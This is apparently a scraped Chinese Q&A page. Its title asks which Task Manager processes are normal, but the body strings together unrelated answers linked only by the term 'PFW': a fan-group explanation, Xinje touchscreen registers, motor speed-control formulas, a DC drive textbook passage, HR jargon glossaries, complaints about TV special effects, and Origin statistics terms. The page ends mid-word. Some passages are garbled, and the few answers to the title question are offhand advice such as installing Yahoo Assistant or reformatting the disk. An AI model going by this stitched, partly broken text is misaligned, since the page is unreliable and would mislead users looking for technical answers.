在任务管理器的进程项中哪些是正常的进程

时代少年团pfw粉丝。时代少年团是由马嘉祺、丁程鑫、宋亚轩、刘耀文、张真源、严浩翔、贺峻霖七人组成的团体，时代少年团粉丝们支持自己的偶像，但又不想把七个人的名字分开，于是自称时代少年团pfw来表达对时代少年团的喜爱。

防火墙

PSW、PFW、PSB。根据查询捷信官方发布的产品详情数据，触摸屏内部寄存器类型共有三种，分别为PSW、PFW、PSB。江苏信捷智能科技有限公司（曾用名：南通信捷信息技术有限公司），成立于2007年，位于江苏省南通市，是一家以从事软件和信息技术服务业为主的企业。

电动机的感应电动势E1=4.44f1N1KΦ≈U1 Φ=U1/(4.44f1*N1*K) 50Hz以下，为了保证主磁通Φ不变，在改变f1的同时必须改变U1，保证U1/f1=4.44N1ΦK=常数，转矩M=Kn*Φ*cosφ不变。但随着U1的下调功率减小。属于恒转矩调速。 50Hz再往上调，U1保持为Un（因为升高UI会超过额定电压不被允许），随着f1的升高，磁通Φ减小，转矩M减小，但是电机功率P=√3*U*I*cosφ不变。属于恒功率调速。

查该图纸设计单位出的设计说明里的图例。就知道了，没有的话应该就不是这个系统的设备。

电机实际输功率输入功率P1减损耗损耗包括铁耗PFe、风摩耗Pfw、定铜耗Pcu1、转铜耗Pcu2、负载杂散耗PsPs=0.005P10.005准确值同电机同概范围PFe与电压比相同电压频率越高PFe越没固定公式般能试验获取Pfw没计算公式能由试验获取频率越高转速越高Pfw越Pcu1=1.5I^2RR定绕组前直流电阻Pcu2=（P1-PFe-Pcu1）*ss转差率

很专业

程序是对的 D是计数器的值 计数器C达到D的值是 Y才有输出

有病毒了,安装一个雅虎助手,有个进程管理,一看就知道了.www.3721.com这是网址.

备份文件。

和其他的屏一样做，点击下载配方，然后在设备数据类型是PLC里面的D0到D5，配方数据设为PFW280，但组数字，为6，那么在把PFW数据输入，这样就可以把 PFW280到PFW285的数据传到D0到D5里面了

看相关技术手册，里面有详细介绍。

天网 没事

在这么新的操作系统上，却要运行那么老那么旧的软件，不配套呀，没有办法。穿新鞋走老路也没有办法。更新软件吧，用AD呀。

正常运行温度40度，最高不允许超过80度。

直流调速用可控直流电源 改变电枢电压调速是直流调速系统采用的主要方法，调节电枢供电电压或者改变励磁磁通，都需要有专门的可控直流电源，常用的可控直流电源有以下三种： （1）旋转变流机组。用交流电动机和直流发电机组成机组，以获得可调的直流电压。 （2）静止可控整流器。用静止的可控整流器，如汞弧整流器和晶闸管整流装置，产生可调的直流电压。 （3）直流斩波器或脉宽调制变换器。用恒定直流电源或不可控整流电源供电，利用直流斩波或脉宽调制的方法产生可调的直流平均电压。 下面分别对各种可控直流电源以及由它供电的直流调速系统作概括性介绍。静止可控整流器 从20世纪50年代开始，采用汞弧整流器和闸流管这样的静止变流装置来代替旋转变流机组，形成所谓的离子拖动系统。离子拖动系统克服旋转变流机组的许多缺点，而且缩短了响应时间，但是由于汞弧整流器造价较高，体积仍然很大，维护麻烦，尤其是水银如果泄漏，将会污染环境，严重危害身体健康。因此，应用时间不长，到了20世纪60年代又让位给更为经济可靠的晶闸管整流器。 1957年，晶闸管问世，它是一种大功率半导体可控整流元件，俗称可控硅整流元件，简称“可控硅”，20世纪60年代起就已生产出成套的晶闸管整流装置。晶闸管问世以后，变流技术出现了根本性的变革。目前，采用晶闸管整流供电的直流电动机调速系统（即晶闸管－电动机调速系统，简称V-M系统，又称静止Ward-Leonard系统）已经成为直流调速系统的主要形式。图8.1所示是V-M系统的原理框图，图中V是晶闸管可控整流器，它可以是任意一种整流电路，通过调节触发装置GT的控制电压来移动触发脉冲的相位，从而改变整流输出电压平均值 ，实现电动机的平滑调速。和旋转变流机组及离子拖动变流相比，晶闸管整流不仅在经济性和可靠性上都有很大提高，而且在技术性能上显示出很大的优越性。晶闸管可控整流器的功率放大倍数大约在 ，控制功率小，有利于微电子技术引入到强电领域；在控制作用的快速性上也大大提高，有利于改善系统的动态性能。但是，晶闸管整流器也有它的缺点，主要表现在以下方面： （1）晶闸管一般是单向导电元件，晶闸管整流器的电流是不允许反向的，这给电动机实现可逆运行造成困难。必须实现四象限可逆运行时，只好采用开关切换或正、反两组全控型整流电路，构成V-M可逆调速系统，后者所用变流设备要增多一倍。 （2）晶闸管元件对于过电压、过电流以及过高的du/dt和di/dt十分敏感，其中任一指标超过允许值都可能在很短时间内元件损坏，因此必须有可靠的保护装置和符合要求的散热条件，而且在选择元件时还应保留足够的余量，以保证晶闸管装置的可靠运行。 （3）晶闸管的控制原理决定了只能滞后触发，因此，晶闸管可控制整流器对交流电源来说相当于一个感性负载，吸取滞后的无功电流，因此功率因素低，特别是在深调速状态，即系统在较低速运行时，晶闸管的导通角很小，使得系统的功率因素很低，并产生较大的高次谐波电流，引起电网电压波形畸变，殃及附近的用电设备。如果采用晶闸管整流装置的调速系统在电网中所占容量比重较大，将造成所谓的“电力公害”。为此，应采取相应的无功补偿、滤波和高次谐波的抑制措施。 （4）晶闸管整流装置的输出电压是脉动的，而且脉波数总是有限的。如果主电路电感不是非常大，则输出电流总存在连续和断续两种情况，因而机械特性也有连续和断续两段，连续段特性比较硬，基本上还是直线；断续段特性则很软，而且呈现出显著的非线性。 图8.1 晶闸管－电动机调速系统原理框图（V-M系统） 直流斩波器或脉宽调制变换器 直流斩波器又称直流调压器，是利用开关器件来实现通断控制，将直流电源电压断续加到负载上，通过通、断时间的变化来改变负载上的直流电压平均值，将固定电压的直流电源变成平均值可调的直流电源，亦称直流－直流变换器。它具有效率高、体积小、重量轻、成本低等优点，现广泛应用于地铁、电力机车、城市无轨电车以及电瓶搬运车等电力牵引设备的变速拖动中。图8.2为直流斩波器的原理电路和输出电压波型，图中VT代表开关器件。当开关VT接通时，电源电压U。加到电动机上；当VT断开时，直流电源与电动机断开，电动机电枢端电压为零。如此反复，得电枢端电压波形如图2.5（b）所示。 图8.2 直流斩波器原理电路及输出电压波型 （a）原理图 （b）电压波型 这样，电动机电枢端电压的平均值为： （8.1） 式中，T－开关器件的通断周期； －开关器件的导通时间； －占空比； －开关频率。 由式（8.1）可知，直流斩波器的输出电压平均值 可以通过改变占空比 ，即通过改变开关器件导通或关断时间来调节，常用的改变输出平均电压的调制方法有以下三种： （1）脉冲宽度调制（pulse width modulation，简称PWM）。开关器件的通断周期T保持不变，只改变器件每次导通的时间 ，也就是脉冲周期不变，只改变脉冲的宽度，即定频调宽。 （2）脉冲频率调制（pulse frequency modulation，简称PFW）。开关器件每次导通的时间 不变，只改变通断周期T或开关频率 ，也就是只改变开关的关断时间，即定宽调频，称为调频。 （3）两点式控制。开关器件的通断周期T和导通时间 均可变，即调宽调频，亦可称为混合调制。当负载电流或电压低于某一最小值时，使开关器件导通；当电流或电压高于某一最大值时，使开关器件关断。导通和关断的时间以及通断周期都是不确定的。 构成直流斩波器的开关器件过去用得较多的是普通晶闸管和逆导晶闸管，它们本身没有自关断的能力，必须有附加的关断电路，增加了装置的体积和复杂性，增加了损耗，而且由它们组成的斩波器开关频率低，输出电流脉动较大，调速范围有限。自20世纪70年代以来，电力电子器件迅速发展，研制并生产了多种既能控制其导通又能控制其关断的全控型器件，如门极可关断晶闸管（GTO）、电力电子晶体管（GTR）、电力场效应管（P-MOSFET）、绝缘栅双极型晶体管（IGBT）等，这些全控型器件性能优良，由它们构成的脉宽调制直流调速系统（简称PWM调速系统）近年来在中小功率直流传动中得到了迅猛的发展，与V-M调速相比，PWM调速系统有以下优点： （1）采用全控型器件的PWM调速系统，其脉宽调制电路的开关频率高，一般在几kHz，因此系统的频带宽，响应速度快，动态抗扰能力强。 （2）由于开关频率高，仅靠电动机电枢电感的滤波作用就可以获得脉动很小的直流电流，电枢电流容易连续，系统的低速性能好，稳速精度高，调速范围宽，同时电动机的损耗和发热都较小。 （3）PWM系统中，主回路的电力电子器件工作在开关状态，损耗小，装置效率高，而且对交流电网的影响小，没有晶闸管整流器对电网的“污染”，功率因数高，效率高。 （4）主电路所需的功率元件少，线路简单，控制方便。 目前，受到器件容量的限制，PWM直流调速系统只用于中、小功率的系统

1. 我想知道关于人力资源的所有相关专业术语及其解释 人力资源的划分来大体上可分为自行业、地区城市、校园毕业生、蓝领、猎头、培训、人事外包、职业指导和人力资源经理俱乐部等九个业务。基本术语不是很重要．你要提高的就是对行业的认识，和人力资源的内涵．人才服务企业，企业也同样需要人才．所以 我个人认为你应该对你将来所要从事的职业入手才是最好的 2. 什么是人事请用专业术语解释。 就是你的资料啊 你从什么地方出生 上什么学校 有过什么处分 干没干过违法的事情回 在什么地方工作答 中途有什么调动 只要跟你有关的一切资料档案 就是人事档案 现在的人事档案一般都在人才交流中心放着 退休的一般放在街道 3. 人力资源专业名词有哪些是HR的行业“黑话”吗 【导读】在每个领域，都有自己的专业术语、行业“黑话”，人力资源师行业也不例外，在人力资源领域，每一年都会诞生不少新的专业名词，老的一些专业名词也会有全新的解释，今天给大家整理了一些人力资源专业名词的最新解释，大家学会以后，就能听懂HR到底在说些什么了，当然想要成为人力资源师的了解以后也能更好的和同事进行交流了。 1、宏观管理 (1)变革：再次折腾。 (2)转型：快不行了。 (3)下半场：也快不行了。 (4)学华为：让员工多加班。 (5)整合：东抄一点，西搬一些。 (6)赋能：欺负你不懂，然后教你做人。 (7)管理下沉：我准备变Low，反正你Low不过我。 (8)管理闭环：逻辑自洽，骗不了自己，但可以忽悠一段时间。 2、招聘面试 (1)结构化面试：照本宣科。 (2)校招招聘：真的一届不如一届。 (3)金三银四：其他月份招不到人的借口。 (4)最佳雇主：走穴、领奖、帮别人站台。 (5)猎头黑名单：反向锦鲤，去哪哪不行。 (6)社群招聘：拉个微信群，每天发广告。 (7)社交招聘：去脉脉和微博，看大公司八卦。 (8)雇主品牌：招不到人之后的，下一个借口。 3、薪酬福利&绩效激励 (1)高提成：无底薪。 (2)薪酬制度：推卸责任合理化。 (3)强制分布：主观偏见合理化。 (4)额外福利：周末加班后去K歌。 (5)期权：对不起，工资发不起，先给一个饼。 (6)提供住宿：公司在信号都不稳定的荒郊野岭。 (7)薪酬管理：算工资、做表格、发工资、做核对。 (8)OKR：KPI做不好的借口。 4、人才培养类 (1)学习标杆：抄同行。 (2)人才盘点：末尾淘汰。 (3)管培生：先轮岗做销售。 (4)抗压能力：加班+黑锅。 (5)不提倡加班：但该加还得加。 (6)新员工培训：年轻人的第一次洗脑。 (7)企业大学：长时间缺老师，缺课程的地方。 5、专有类名词 (1)SSC：办理各种手续的 (2)COE：(编辑+文案+策划)*人力资源 (3)HRBP：原先分公司或者事业部的人事，取了一个花名。 (4)大数据分析：员工花名册分析。 (5)矩阵式结构：一仆二主。 (6)流程优化：权力的再分配。 (7)组织发展：听起来很牛逼，但99.9%的HR都接触不到。 (8)人员优化：大裁员。 以上就是人力资源行业用语，不知道大家学会了没有，尤其是要从事人力资源行业的，一定要了解和学习起来，对于2020年报考一级人力资源师考试的，只要你满足一级人力资源师报名条件，就可以报名参加考试，当然想要考试成功，努力是一定要的。 4. HR管理常用的专业术语有哪些 HR管理常用的专业术语（中英文对照） 1.人力资源管理：(Human Resource Management ，HRM) 人力资源经理：( human resource manager) 高级管理人员：(executive) 职业：(profession) 道德标准：(ethics) 操作工：(operative employees) 专家：(specialist) 人力资源认证协会：(the Human Resource Certification Institute，HRCI) 2. 外部环境：(external environment) 内部环境：(internal environment) 政策：(policy) 企业文化：(corporate culture) 目标：(mission) 股东：(shareholders) 非正式组织：(informal anization) 跨国公司：(multinational corporation，MNC) 管理多样性：(managing diversity) 3. 工作：(job) 职位：(posting) 工作分析：(job *** ysis) 工作说明：(job description) 工作规范：(job specification) 工作分析计划表：(job *** ysis schele，JAS) 职位分析问卷调查法：(Management Position Description Questionnaire，MPDQ) 行政秘书：(executive secretary) 地区服务经理助理：(assistant district service manager) 4. 人力资源计划：(Human Resource Planning，HRP) 战略规划：(strategic planning) 长期趋势：(long term trend) 要求预测：(requirement forecast) 供给预测：(availability forecast) 管理人力储备：(management inventory) 裁减：(downsizing) 人力资源信息系统：(Human Resource Information System，HRIS) 5. 招聘：(recruitment) 员工申请表：(employee requisition) 招聘方法：(recruitment methods) 内部提升：(Promotion From Within ，PFW) 工作公告：(job posting) 广告：(advertising) 职业介绍所：(employment agency) 特殊事件：(special events) 实习：(internship) 6. 选择：(selection) 选择率：(selection rate) 简历：(resume) 标准化：(standardization) 有效性：(validity) 客观性：(objectivity) 规范：(norm) 录用分数线：(cutoff score) 准确度：(aiming) 业务知识测试：(job knowledge tests) 求职面试：(employment interview) 非结构化面试：(unstructured interview) 结构化面试：(structured interview) 小组面试：(group interview) 职业兴趣测试：(vocational interest tests) 会议型面试：(board interview) 7. 组织变化与人力资源开发 人力资源开发：(Human Resource Development，HRD) 培训：(training) 开发：(development) 定位：(orientation) 训练：(coaching) 辅导：(mentoring) 经营管理策略：(business games) 案例研究：(case study) 会议方法：(conference method) 角色扮演：(role playing) 工作轮换：(job rotating) 在职培训：(on-the-job training ，OJT) 媒介：(media) 8. 企业文化与组织发展 企业文化：(corporate culture) 组织发展：(anization development，OD) 调查反馈：(survey feedback) 质量圈：(quality circles) 目标管理：(management by objective，MBO) 全面质量管理：(Total Quality Management，TQM) 团队建设：(team building) 9. 职业计划与发展 职业：(career) 职业计划：(career planning) 职业道路：(career path) 职业发展：(career development) 自我评价：(self-asses *** ent) 职业动机：(career anchors) 10. 绩效评价 绩效评价：(Performance Appraisal，PA) 小组评价：(group appraisal) 业绩评定表：(rating scales method) 关键事件法：(critical incident method) 排列法：(ranking method) 平行比较法：(paired parison) 硬性分布法：(forced distribution method) 晕圈错误：(halo error) 宽松：(leniency) 严格：(strictness) 360度反馈：(360-degree feedback) 叙述法：(essay method) 集中趋势：(central tendency) 11. 报酬与福利 报酬：(pensation) 直接经济报酬：(direct financial pensation) 间接经济报酬：(indirect financial pensation) 非经济报酬：(no financial pensation) 公平：(equity) 外部公平：(external equity) 内部公平：(internal equity) 员工公平：(employee equity) 小组公平：(team equity) 工资水平领先者：(pay leaders) 现行工资率：(going rate) 工资水平居后者：(pay followers) 劳动力市场：(labor market) 工作评价：(job evaluation) 排列法：(ranking method) 分类法：(classification method) 因素比较法：(factor parison method) 评分法：(point method) 海氏指示图表个人能力分析法：(Hay Guide Chart-profile Method) 工作定价：(job pricing) 工资等级：(pay grade) 工资曲线：(wage curve) 工资幅度：(pay range) 12. 福利和其它报酬问题 员工股权计划：(employee stock ownership plan，ESOP) 值班津贴：(shift differential) 奖金：(incentive pensation) 分红制：(profit sharing) 13. 安全与健康的工作环境 安全：(safety) 健康：(health) 频率：(frequency rate) 紧张：(stress) 角色冲突：(role conflict) 催眠法：(hypnosis) 酗酒：(alcoholi *** ) 14. 员工和劳动关系 工会：(union) 地方工会：(local union) 行业工会：(craft union) 产业工会：(instrial union) 全国工会：(national union) 谈判组：(bargaining union) 劳资谈判：(collective bargaining) 仲裁：(arbitration) *** ：(strike) 内部员工关系：(internal employee relations) 纪律：(discipline) 纪律处分：(disciplinary action) 申诉：(grievance) 5. HR管理有哪些常用的专业术语 HR人力资源管理常用的专业术语最重要的有如下几大类 1）人力资源规划：组织机构的设置，企业组织机构的调整与分析，企业人员供给需求分析，企业人力资源制度的制定，人力资源管理费用预算的编制与执行。 2）国际人力资源管理：职业生涯发展理论 、组织内部评估、组织发展与变革、计划组织职业发展、比较国际人力资源管理综述 、开发人力资源发展战略计划、工作中的绩效因素 、员工授权与监管。 3）劳动关系：就业法、劳动关系和社会、行业关系和社会、劳资谈判、工会化和劳资谈判、安全、保安和健康、安全和健康项目 安全和健康的工作环境 4）人力资源管理与竞争 ：人力资源管理与竞争优势、人力资源管理的发令以及环境、人力资源规划、工作分析、人员招聘、培训和发展员工 、员工绩效评估 、提高生产力方案。 5）薪资福利管理：补偿、激励和收益、薪酬、构建全面的薪酬体系、岗位评价与薪酬等级、薪酬调查、薪酬计划、薪酬结构、薪酬制度的制定、薪酬制度的调整、人工成本核算、福利和其它薪酬问题、福利保险管理、企业福利项目的设计、企业补充养老保险和补充医疗保险的设计、评估绩效和提供反馈。 6）招聘与配置：招聘需求分析、工作分析和胜任能力分析、招聘程序和策略、招聘渠道分析与选择、招聘实施、特殊政策与应变方案、离职面谈、降低员工流失的措施。 7）绩效管理：绩效管理准备阶段、实施阶段、考评阶段、总结阶段、应用开发阶段、绩效管理的面谈、绩效改进的方法、行为导向型考评方法、结果导向型考评方法。 8）培训和开发 ：理论学习、项目评估、调查与评估、培训与发展、需求评估与培训、培训建议的构成、培训、发展与员工教育、培训的设计、系统方法、开发管理与企业领导、开发自己和他人、项目管理：项目开发与管理惯例。 6. 人力资源管理专业知识技能名词有哪些 专业知识： 1、HR战略与企业文化：根据企业的发展规划，诊断企业现有人力资源状况，结合企业经营发展战略、考虑未来的人力资源的需要和供给状况的分析及估计，如何把HR战略与企业文化紧密地结合起来。 2、组织结构设计：根据企业战略目标、资源状况、现有的核心流程以及同行企业的最佳实践模式，分析公司的组织结构，设计企业组织机构。 3、流程分析与流程再造：流程是组织内部的从供应商到客户的价值增长过程，流程的有效性与效率将直接影响到组织的有效性、效率与客户满意度。 4、工作分析：工作分析是人力资源管理的一项传统的核心职能与基础性工作。一份好的职位说明书无疑是一幅精确的“企业地图”，指引着人力资源的方方面面。 5、基于战略的绩效管理：绩效问题是任何公司都面临的长期挑战，HR必须掌握绩效管理与绩效目标分解的工具、方法；绩效制度设计与基本操作、绩效目标设定与分解等相关知识。 6、全面薪酬战略体系：薪酬的不同的要素该如何正确的组合才能有效地发挥薪酬的作用；薪酬管理有效支持公司的战略和公司价值的提升的方法和工具。 7、能力管理：建立素质模型，将素质模型应用到人力资源管理的不同领域，从而真正将人力资源管理回归到建构组织能力和人力资源开发利用上。 8、招聘：制定人才选择战略，进行准确的工作分析和胜任特征分析，有效的人力资源分析与规划，应聘者的专业技能及综合能力的评估；对招聘成本的评估。 9、培训体系的建立与管理：培训是促成“以人为本”的企业文化的重要手段，制定有效的年度培训计划是HR人员面临的严峻挑战。 人力资源管理人员需要具备两方面技能： 一是硬件知识，二是软件知识。必须掌握并熟练运用HR专业知识 1．人力资源规划管理和人力资源管理手册设计的能力。 2．职位分析和绩效考核管理能力。 3．薪酬与福利管理能力。 4．人力资源开发、培训能力。 5．人事制度管理能力：了解企业核心业务、沟通技能、团队合作、严格的纪律性、高度的责任心、公正、忠信、坚定勇敢的意志力 、对人性的正确、全面的了解以及广博的知识 、亲和力 作为人力资源经理还应具备组织能力、领导能力、表达能力、自信力（以及对人力资源管理工作的兴趣或爱好）等其它素质能力 7. 有关于人力资源管理的专业用语 HR:human resource HRM:human resource management 8. 人力资源管理是什么，用大白话解释一下，不要专业术语 你好！ 人力抄资源管理是指袭根据企业发展战略的要求，有计划地对人力资源进行合理配置，通过对企业中员工的招聘、培训、使用、考核、激励、调整等一系列过程，调动员工的积极性，发挥员工的潜能，为企业创造价值，确保企业战略目标的实现。 我的回答你还满意吗~~

信捷触摸屏内部寄存器用数据块传送使用。信捷触摸屏内部寄存器使用方法如下：1、计数器有一个时钟脉冲端(CP)，它接受PLC内各种软继电器送入的脉冲信号。2、输入继电器触点X00，当X00由断开到闭合，每变换一次输入一个脉冲信号，那么，计数器就从当前值减1，直到计数器当前值为0时，计数器线圈通电。3、它的常开触点闭合、常闭触点断开，这些触点可以在PLC内选择使用。4、指定触摸屏上的地址，再指定plc的接收地址即可。

一、人力资源管理:(Human Resource Management ,HRM)人力资源经理:( human resource manager)高级管理人员:(executive) / i`gzekjutiv职业:(profession) 道德标准:(ethics) 操作工:(operative employees)专家:(specialist)人力资源认证协会:(the Human Resource Certification Institute,HRCI)二、外部环境:(external environment)内部环境:(internal environment)政策:(policy)企业文化:(corporate culture)目标:(mission)股东:(shareholders)非正式组织:(informal organization)跨国公司:(multinational corporation,MNC)管理多样性:(managing diversity)三、工作:(job)职位:(posting)工作分析:(job analysis)工作说明:(job description)工作规范:(job specification)工作分析计划表:(job analysis schedule,JAS)职位分析问卷调查法:(Management Position Description Questionnaire,MPDQ)行政秘书:(executive secretary)地区服务经理助理:(assistant district service manager)四、人力资源计划:(Human Resource Planning,HRP)战略规划:(strategic planning)长期趋势:(long term trend)要求预测:(requirement forecast)供给预测:(availability forecast)管理人力储备:(management inventory)裁减:(downsizing)人力资源信息系统:(Human Resource Information System,HRIS)五、招聘:(recruitment)员工申请表:(employee requisition)招聘方法:(recruitment methods)内部提升:(Promotion From Within ,PFW)工作公告:(job posting)广告:(advertising)职业介绍所:(employment agency)特殊事件:(special events)实习:(internship)六、选择:(selection)选择率:(selection rate)简历:(resume)标准化:(standardization)有效性:(validity)客观性:(objectivity)规范:(norm)录用分数线:(cutoff score) 准确度:(aiming)业务知识测试:(job knowledge tests)求职面试:(employment interview)非结构化面试:(unstructured interview)结构化面试:(structured interview)小组面试:(group interview)职业兴趣测试:(vocational interest tests)会议型面试:(board interview)七、组织变化与人力资源开发人力资源开发:(Human Resource Development,HRD)培训:(training)开发:(development)定位:(orientation)训练:(coaching)辅导:(mentoring)经营管理策略:(business games)案例研究:(case study)会议方法:(conference method)角色扮演:(role playing)工作轮换:(job rotating)在职培训:(on-the-job training ,OJT)媒介:(media)八、企业文化与组织发展企业文化:(corporate culture)组织发展:(organization development,OD)调查反馈:(survey feedback)质量圈:(quality circles)目标管理:(management by objective,MBO)全面质量管理:(Total Quality Management,TQM)团队建设:(team building)九、职业计划与发展职业:(career)职业计划:(career planning)职业道路:(career path)职业发展:(career development)自我评价:(self-assessment)职业动机:(career anchors)十、绩效评价绩效评价:(Performance Appraisal,PA)小组评价:(group appraisal)业绩评定表:(rating scales method)关键事件法:(critical incident method)排列法:(ranking method)平行比较法:(paired comparison)硬性分布法:(forced distribution method)晕圈错误:(halo error)宽松:(leniency)严格:(strictness)3600反馈:(360-degree feedback)叙述法:(essay method)集中趋势:(central tendency)十一、报酬与福利报酬:(compensation)直接经济报酬:(direct financial compensation)间接经济报酬:(indirect financial compensation)非经济报酬:(no financial compensation)公平:(equity)外部公平:(external equity)内部公平:(internal equity)员工公平:(employee equity)小组公平:(team equity)工资水平领先者:(pay leaders)现行工资率:(going rate)工资水平居后者:(pay followers)劳动力市场:(labor market)工作评价:(job evaluation)排列法:(ranking method)分类法:(classification method)因素比较法:(factor comparison method)评分法:(point method)海氏指示图表个人能力分析法:(Hay Guide Chart-profile Method)工作定价:(job pricing)工资等级:(pay grade)工资曲线:(wage curve)工资幅度:(pay range)十二、福利和其它报酬问题福利(间接经济补偿)员工股权计划:(employee stock ownership plan,ESOP)值班津贴:(shift differential)奖金:(incentive compensation)分红制:(profit sharing)十三、安全与健康的工作环境安全:(safety)健康:(health)频率:(frequency rate)紧张:(stress)角色冲突:(role conflict)催眠法:(hypnosis)酗酒:(alcoholism)十四、员工和劳动关系工会:(union)地方工会:(local union)行业工会:(craft union)产业工会:(industrial union)全国工会:(national union)谈判组:(bargaining union)劳资谈判:(collective bargaining)仲裁:(arbitration)罢工:(strike)内部员工关系:(internal employee relations)纪律:(discipline)纪律处分:(disciplinary action)申诉:(grievance)降职:(demotion)调动:(transfer)晋升:(promotion)

网友吐槽：画面太美不忍直视《花千骨》剧中特效包子追杀花千骨的妖怪更像是奥特曼电影中的怪物，充满了工业野兽派的气息。而灵虫“糖宝”的特效画面已经直逼国产动画《蓝猫淘气三千问》和赶超《巴啦啦小魔仙》的水准，和画面中的其他人感觉不处于一个次元。花千骨吃的包子居然是用特效做成的，剧组你是有多穷，连个包子都买不起？业内点评《花千骨》特效镜头特别虚，特别是大场面的镜头虚实不分。再看另一个镜头，实在是假得让我想请制作人员站出来单独聊聊了！可以看出发光体是后期合成的，它是何方神圣可以单独发光而不会照亮地面和墙面？这种违背最基础的后期合成思维的镜头能出现在成片里，真的是有点过分了，或者说是太奇幻了。制作人声称请到了参与《变形金刚》《复仇者联盟》制作的PFW公司为其打造特效。PFW主要业务是负责影片的3D立体制作，以及3D立体效果的二维转三维，对于以电视为主要放映载体的《花千骨》又有什么关系呢？或许PFW参与制作过某个片段，但是众所周知，一部电影或电视剧的制作往往会有几个或者几十个公司共同完成，PFW参与的制作量就不得而知了（同理适用于很多国产电视剧）。《花千骨》剧中特效食人花来感受下这个与《魔戒》中精灵主城相似的场景。几年前网上已经出过此效果的工程文件，可以说这个镜头根本没有制作的成本，只有渲染的时间，从另一方面来说国内的顶级特效制作团队现在要做出这种效果也不是很轻松的。而这是国外特效团队在10多年前的水平，这也从侧面反映出国内和国外特效制作的差距。片方解释对于“包子用特效做，奥特曼与小怪兽齐飞”的吐槽，该剧制片人唐丽君回应说：“关于包子特效这块，原来我们拍摄中吃的是鸡蛋，但是在后期中我们做成了包子，因为在第二集拴天链的时候，花千骨问白子画：‘上仙我肚子饿，有没有包子啊"，花千骨很喜欢吃包子，这个情节的加入使得她跟白子画跟默冰的感情就联系起来了，所以包子的修改对我们的剧情的推动是有帮助的。” 网友吐槽：说好的大片效果呢？《盗墓笔记》号称总投资超8000万，拥有好莱坞的豪华特效班底，可是说好的大片特效呢？小哥出现自带龙卷风，但酷似漫天的头皮屑，原著中原本恐怖的、会吓坏小孩的起尸，变成了类似于心灵手巧的超市大妈用麻将席打造的模特。《盗墓笔记》剧中特效尸鳖第一集全程渣特效，80年代的《西游记》都比这个用心吧！就连文物保护管理所这几个大字都是特效啊！业内点评◎《盗墓笔记》毕竟是现代戏，从场景到道具的效果还算说得过去。下面两个是我觉得还稍微欠缺一些火候的地方：大全景的火焰特效镜头，明显是跟前后镜头的色调差异很大，好在地面衔接的地方做出了光，整体效果的融合比较自然，只是衔接在一起有些跳脱。◎制作水平在国内来说应该算是比较高的水准，第一在色调和灯光方面可以看出，制作方是花费了心思的，比如火焰周围的环境体现出了相应的光影变化。第二是场景的搭建比较讲究。但是在后期制作过程中问题还是不少。CG制作跟演员互动不到位，融入不到实景中。这也是国内电视剧、电影制作的通病。道具尸蹩的设定没有让人感觉到恐怖，反让人感觉可爱。片方解释《盗墓笔记》总策划、欢瑞世纪副总裁姜磊表示，五毛特效的原因是国内特效公司水平不够，“比如尸鳖的特效，我们愿意花钱，但目前国内特效公司只能做到这样。尸鳖这种东西长什么样子没有一个具体的概念，我们用的材料还是比较真实的，而且那种小道具的制作其实还是有一定复杂程度的”。 《古剑奇谭》剧中特效狐狸网友吐槽：游戏党已哭瞎打斗特效，封印、斗法的手势就像《新白娘子传奇》，神功的特效场面全做成一圈圈的微波。每到这时候心里就替自己的偶像心疼啊。特效是请学生做的么？特别是襄铃（小狐狸）的特效不忍直视，游戏里明明是只萌萌的金色小狐狸。制作人员你们就算没见过真狐狸也该看过动物世界吧，你们在现实世界中见过长相如此难看的狐狸吗？业内点评背景看起来像是纸片背景板，完全没有景深效果。这只大蛇是忘记上材质了吗？还是导演大哥就喜欢这样长得跟素模一样的大蛇造型呢？测试材质和渲染非常花时间精力，很可能是考虑到效果还ok，不想多花时间多花钱就选择了这样操作。CG制作融入不到实拍镜头中，主要原因在于光影，也就是环境灯光跟环境贴图的运用不合理。还有这张，在现实中，受到火球的影响，人物身上的光影变化会很大。剧中几乎所有类似的镜头都没有把这种光影变化做出来，只是在混乱的场景中一带而过。细节的多少，决定了镜头的真实感，没有足够的细节，合成后的镜头可想而知。《古剑奇谭》特效场景片方解释据《古剑奇谭》的特效团队负责人介绍，由于原游戏的设定源于《山海经》，故事以武侠和仙侠为创作题材，“所以把东西做得很真实并不是很好的选择，因此我们选择了写意绚丽的概念。”在确定了制作方案后，团队遵从原创角色的招式及光效颜色作为基本参考，并加入新的视觉效果来丰富画面。为尽量把游戏原有元素进行保留后加以修饰，团队也很是下了一番苦功。 网友吐槽：再现80年代水准这部剧难道是80年代的复古作品吗？大场面欠缺质量，细节处的“创意”更是天雷滚滚，哪吒把龙王变成了一只泰迪，是演员把家里泰迪牵到剧组玩，不小心乱入镜头了？还有姜子牙使出千手观音阵的特效让人笑死，你师傅到底谁啊？《封神英雄榜》特效场景业内点评就好像早期的港产电视剧一样，简单的光电特效都是一个制作套路。迅速扫了几集之后，直观感受是闪电、光剑这些特效还都可以接受，但最让我受不了的是特效制作的神兽，从神兽的设计到呈现在镜头当中的效果,让我无法接受，感觉像是在看动画片，完全和镜头的感觉搭不上！

明确告诉你中毒了，重启一下，如果仍然这样，你只能选择重装系统了。重装的时候最好把硬盘都格式化了

origin相关术语中英语对照Notes:注释，说明Weight：权函数相关系数和回归系数的区别1、含义不同相关系数：是研究变量之间线性相关程度的量。回归系数：在回归方程中表示自变量x 对因变量y 影响大小的参数。2、应用不同相关系数：说明两变量间的相关关系。回归系数：说明两变量间依存变化的数量关系。3、单位不同相关系数：一般用字母r表示 ，r没有单位。回归系数：一般用斜率b表示，b有单位。二、回归系数与相关系数的联系：1、回归系数大于零则相关系数大于零2、 回归系数小于零则相关系数小于零扩展资料相关系数的实际应用1、在概率论中的应用例如：若将一枚硬币抛n次，X表示n次试验中出现正面的次数，Y表示n次试验中出现反面的次数，计算ρu1d6a u1d67。2、在企业物流中的应用例如：新品上市一个月后，要评估出更好的实际分配方案，通过这样的评估，可以在下一次的新产品上市使用更准确的产品分配方案，以避免由于分配而产生的积压和断货。3、在聚类分析中的应用例如：如果有若干个样品，每个样品有n个特征，则相关系数可以表示两个样品间的相似程度。借此，可以对样品的亲疏远近进行距离聚类。参考资料来源：百度百科-相关系数百度百科-回归系数No masked data:无屏蔽数据Parameters:拟合参数Intercept:截距Slope:斜率Standard Error：标准误差t-Value： t检验值Prob>|t| t检验概率（置信概率）95% LCL 95%控制下限95% UCL 95%控制上限CI Half-Width 置信区间半宽度Residual Sum of Squares 残差平方和Pearson"s r 相关系数R-Square(COD) 相关系数平方(COD)Adj. R-Square 校正的相关系数平方Root-MSE (SD) 标准差Norm of Residuals 残差范数Anova 方差分析Sum of Squares 平方和Mean Square 均方差F 